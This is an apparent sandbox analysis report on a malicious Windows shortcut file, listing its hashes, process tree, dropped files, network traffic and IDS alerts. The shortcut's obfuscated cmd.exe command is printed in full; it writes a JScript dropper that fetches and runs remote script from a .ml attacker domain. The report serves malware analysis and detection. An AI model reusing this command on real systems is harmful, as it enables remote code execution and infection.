File name: | 74bb49d5962569955e5c3e8a41284678a0e1b9abbdd088df5c2d16af447dd388 |
Full analysis: | https://app.any.run/tasks/083c2381-725d-4131-b25c-a727c006eb17 |
Verdict: | Malicious activity |
Analysis date: | March 30, 2020, 19:34:00 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Indicators: | |
MIME: | application/octet-stream |
File info: | MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has command line arguments, Icon number=60, Archive, ctime=Sat Jul 16 12:18:09 2016, mtime=Sat Jul 16 12:18:09 2016, atime=Sat Jul 16 12:18:09 2016, length=202752, window=hidenormalshowminimized |
MD5: | 815915C886E89CE1509BA467A7CF90B3 |
SHA1: | 62252ABAB835AC5C94274A799D5F40963A502874 |
SHA256: | 74BB49D5962569955E5C3E8A41284678A0E1B9ABBDD088DF5C2D16AF447DD388 |
SSDEEP: | 48:8ur1VJv4+coVe2TifFqZWrXUZol5xTG5:8e1XQoc2kFqZWrXUZf |
.lnk | | | Windows Shortcut (100) |
---|
Flags: | IDList, LinkInfo, Description, RelativePath, CommandArgs, IconFile, Unicode, ExpString |
---|---|
FileAttributes: | Archive |
CreateDate: | 2016:07:16 15:18:09+02:00 |
AccessDate: | 2016:07:16 15:18:09+02:00 |
ModifyDate: | 2016:07:16 15:18:09+02:00 |
TargetFileSize: | 202752 |
IconIndex: | 60 |
RunWindow: | Show Minimized No Activate |
HotKey: | (none) |
TargetFileDOSName: | cmd.exe |
DriveType: | Fixed Disk |
VolumeLabel: | Windows |
LocalBasePath: | C:\Windows\System32\cmd.exe |
Description: | 142902909249935370444 |
RelativePath: | ..\..\..\..\..\..\Windows\System32\cmd.exe |
CommandLineArguments: | /c "sET FJW=ExpQGYWELoRQGYWEEr QGYWE/cQGYWE,&&sET HWW=GeIZFXYMtOIZFXYMbjIZFXYMecIZFXYMt(IZFXYM'sIZFXYMcrIZFXYMiptIZFXYM:HIZFXYMTtpIZFXYMS:&&sET hjr0Fcs=1CWWY1CWWY1tp9tr1uil9.financia-0g4f5ba.ml1CWWY?011CWWY')&&sEt/^p Knxs7ed="%HWW:IZFXYM=%%hjr0Fcs:1CWWY=/%"<nul > C:\Users\Public\76Kv5e6.js|md ^\ ^||>nul >nul exPlOreR /c, C:\Users\Public\76Kv5e6.js|>nul >nul >nul >nul >nul exit|>nul >nul echo HJCI4LKUIRXU6RHWIBMS830EQVU724EFVEFQT9FNV4GE8UKMR6LEDINX26G9WIMRS6U4WJXIS8L4WBZMFIKHFIZE5I2ELQVE2H69FQV2626IKCBJGU8WJXR6LKDIBX46R4OJXS46KHYIMEFH2HSZVE7I3I" |
IconFileName: | %SystemRoot%\system32\shell32.dll |
MachineID: | ns571773 |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
3900 | "C:\Windows\System32\cmd.exe" /c "sET FJW=ExpQGYWELoRQGYWEEr QGYWE/cQGYWE,&&sET HWW=GeIZFXYMtOIZFXYMbjIZFXYMecIZFXYMt(IZFXYM'sIZFXYMcrIZFXYMiptIZFXYM:HIZFXYMTtpIZFXYMS:&&sET hjr0Fcs=1CWWY1CWWY1tp9tr1uil9.financia-0g4f5ba.ml1CWWY?011CWWY')&&sEt/^p Knxs7ed="%HWW:IZFXYM=%%hjr0Fcs:1CWWY=/%"<nul > C:\Users\Public\76Kv5e6.js|md ^\ ^||>nul >nul exPlOreR /c, C:\Users\Public\76Kv5e6.js|>nul >nul >nul >nul >nul exit|>nul >nul echo HJCI4LKUIRXU6RHWIBMS830EQVU724EFVEFQT9FNV4GE8UKMR6LEDINX26G9WIMRS6U4WJXIS8L4WBZMFIKHFIZE5I2ELQVE2H69FQV2626IKCBJGU8WJXR6LKDIBX46R4OJXS46KHYIMEFH2HSZVE7I3I" | C:\Windows\System32\cmd.exe | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3472 | C:\Windows\system32\cmd.exe /S /D /c" sEt/p Knxs7ed="%HWW:IZFXYM=%%hjr0Fcs:1CWWY=/%" 0<nul 1>C:\Users\Public\76Kv5e6.js" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3308 | C:\Windows\system32\cmd.exe /S /D /c" md \ |" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2340 | exPlOreR /c, C:\Users\Public\76Kv5e6.js | C:\Windows\explorer.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Explorer Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
2424 | C:\Windows\system32\cmd.exe /S /D /c" exit 1>nul" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
1604 | C:\Windows\system32\cmd.exe /S /D /c" echo HJCI4LKUIRXU6RHWIBMS830EQVU724EFVEFQT9FNV4GE8UKMR6LEDINX26G9WIMRS6U4WJXIS8L4WBZMFIKHFIZE5I2ELQVE2H69FQV2626IKCBJGU8WJXR6LKDIBX46R4OJXS46KHYIMEFH2HSZVE7I3I 1>nul" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2824 | C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding | C:\Windows\explorer.exe | — | svchost.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Explorer Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
3020 | "C:\Windows\System32\WScript.exe" "C:\Users\Public\76Kv5e6.js" | C:\Windows\System32\WScript.exe | explorer.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 | ||||
2844 | "C:\Windows\explorer.exe" | C:\Windows\explorer.exe | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Explorer Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
308 | "C:\Program Files\Notepad++\notepad++.exe" "C:\Users\Public\76Kv5e6.js" | C:\Program Files\Notepad++\notepad++.exe | explorer.exe | |
User: admin Company: Don HO [email protected] Integrity Level: MEDIUM Description: Notepad++ : a free (GNU) source code editor Version: 7.51 |
PID | Process | Filename | Type | |
---|---|---|---|---|
3020 | WScript.exe | C:\Users\admin\AppData\Local\Temp\Cab9F84.tmp | — | |
MD5:— | SHA256:— | |||
3020 | WScript.exe | C:\Users\admin\AppData\Local\Temp\Tar9F85.tmp | — | |
MD5:— | SHA256:— | |||
2312 | iexplore.exe | C:\Users\admin\AppData\Local\Temp\Low\Cab8FC0.tmp | — | |
MD5:— | SHA256:— | |||
2312 | iexplore.exe | C:\Users\admin\AppData\Local\Temp\Low\Tar8FC1.tmp | — | |
MD5:— | SHA256:— | |||
3020 | WScript.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C1B3CC7FF1466C71640A202F8258105B_4BAA91E98D5C5CD79B31D53DDF63A261 | binary | |
MD5:CADB9F8ACF18ED50CF3B59BA2E168487 | SHA256:D05204C0439424D67F97CB09E1158580C64AA30C886105DD30D499A935E0B8C7 | |||
2312 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\YTOWV792\errorPageStrings[1] | text | |
MD5:E3E4A98353F119B80B323302F26B78FA | SHA256:9466D620DC57835A2475F8F71E304F54AEE7160E134BA160BAAE0F19E5E71E66 | |||
3020 | WScript.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\1S965QKO.txt | text | |
MD5:A5970DC002B0E866998AA679C869FF60 | SHA256:2FC03C470373DA831F61C3EA3A9CE105F07F070D80CA5AAB7BB1EAD0B025F208 | |||
3472 | cmd.exe | C:\Users\Public\76Kv5e6.js | text | |
MD5:43F8C6381F34E4D3DF16A7989A7889E2 | SHA256:5B142B262024A911C55AE79A28747CDC4BFB32A9ABC17BA658856B8BCB88B91C | |||
3020 | WScript.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6BADA8974A10C4BD62CC921D13E43B18_74167E25E5476CCA2A5946AAA61BF9E1 | der | |
MD5:907131A56BA168672FD6DCA3988E2A2B | SHA256:7A4D281C2E93B883F2A05E43F75A91BCA5F83FB3F1FE3AC84FDA45D6146BAB05 | |||
2128 | iexplore.exe | C:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico | — | |
MD5:— | SHA256:— |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
1052 | svchost.exe | GET | 200 | 95.101.186.14:80 | http://www.microsoft.com/pkiops/crl/MicCodSigPCA2011_2011-07-08.crl | unknown | der | 813 b | whitelisted |
3020 | WScript.exe | GET | 200 | 93.184.220.29:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQrBBNpPfHTPX6Jy6BVzyBPnBWMnQQUPnQtH89FdQR%2BP8Cihz5MQ4NRE8YCEAg5%2FZCtnAbA2qdMcKXVkFQ%3D | US | der | 279 b | whitelisted |
3020 | WScript.exe | GET | 200 | 93.184.220.29:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEA%2Fz5hY5qj0aEmX0H4s05bY%3D | US | der | 1.47 Kb | whitelisted |
2128 | iexplore.exe | GET | 200 | 204.79.197.200:80 | http://www.bing.com/favicon.ico | US | image | 237 b | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
2128 | iexplore.exe | 204.79.197.200:80 | www.bing.com | Microsoft Corporation | US | whitelisted |
3020 | WScript.exe | 93.184.220.29:80 | ocsp.digicert.com | MCI Communications Services, Inc. d/b/a Verizon Business | US | whitelisted |
3020 | WScript.exe | 104.31.74.90:443 | 1tp9tr1uil9.financia-0g4f5ba.ml | Cloudflare Inc | US | shared |
2312 | iexplore.exe | 104.31.74.90:443 | 1tp9tr1uil9.financia-0g4f5ba.ml | Cloudflare Inc | US | shared |
3680 | gup.exe | 104.31.89.28:443 | notepad-plus-plus.org | Cloudflare Inc | US | shared |
— | — | 95.101.186.14:80 | www.microsoft.com | CW Vodafone Group PLC | — | suspicious |
Domain | IP | Reputation |
---|---|---|
1tp9tr1uil9.financia-0g4f5ba.ml |
| suspicious |
ocsp.digicert.com |
| whitelisted |
notepad-plus-plus.org |
| whitelisted |
api.bing.com |
| whitelisted |
www.bing.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
PID | Process | Class | Message |
---|---|---|---|
1052 | svchost.exe | Potentially Bad Traffic | ET INFO DNS Query for Suspicious .ml Domain |
3020 | WScript.exe | Potentially Bad Traffic | ET INFO Suspicious Domain (*.ml) in TLS SNI |
Process | Message |
---|---|
notepad++.exe | VerifyLibrary: C:\Program Files\Notepad++\SciLexer.dll
|
notepad++.exe | VerifyLibrary: certificate revocation checking is disabled
|
notepad++.exe | 42C4C5846BB675C74E2B2C90C69AB44366401093
|